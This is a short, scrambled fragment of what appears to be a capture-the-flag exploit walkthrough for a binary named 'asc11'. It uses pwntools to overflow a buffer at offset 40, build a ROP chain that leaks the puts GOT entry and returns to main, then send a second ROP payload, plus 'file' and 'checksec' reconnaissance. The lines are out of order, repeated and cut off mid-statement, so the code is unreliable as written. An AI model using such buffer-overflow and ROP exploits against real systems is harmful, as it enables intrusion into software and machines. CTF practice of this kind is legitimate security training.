payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload)
payload2 = b'A'*offset + rop2.chain() p.sendlineafter(b'Input: ', payload2) asc 11
p = process('./asc11') offset = 40 ROP to leak puts@got rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main']) payload = b'A'*offset + rop
file asc11 checksec asc11 Output (example): asc 11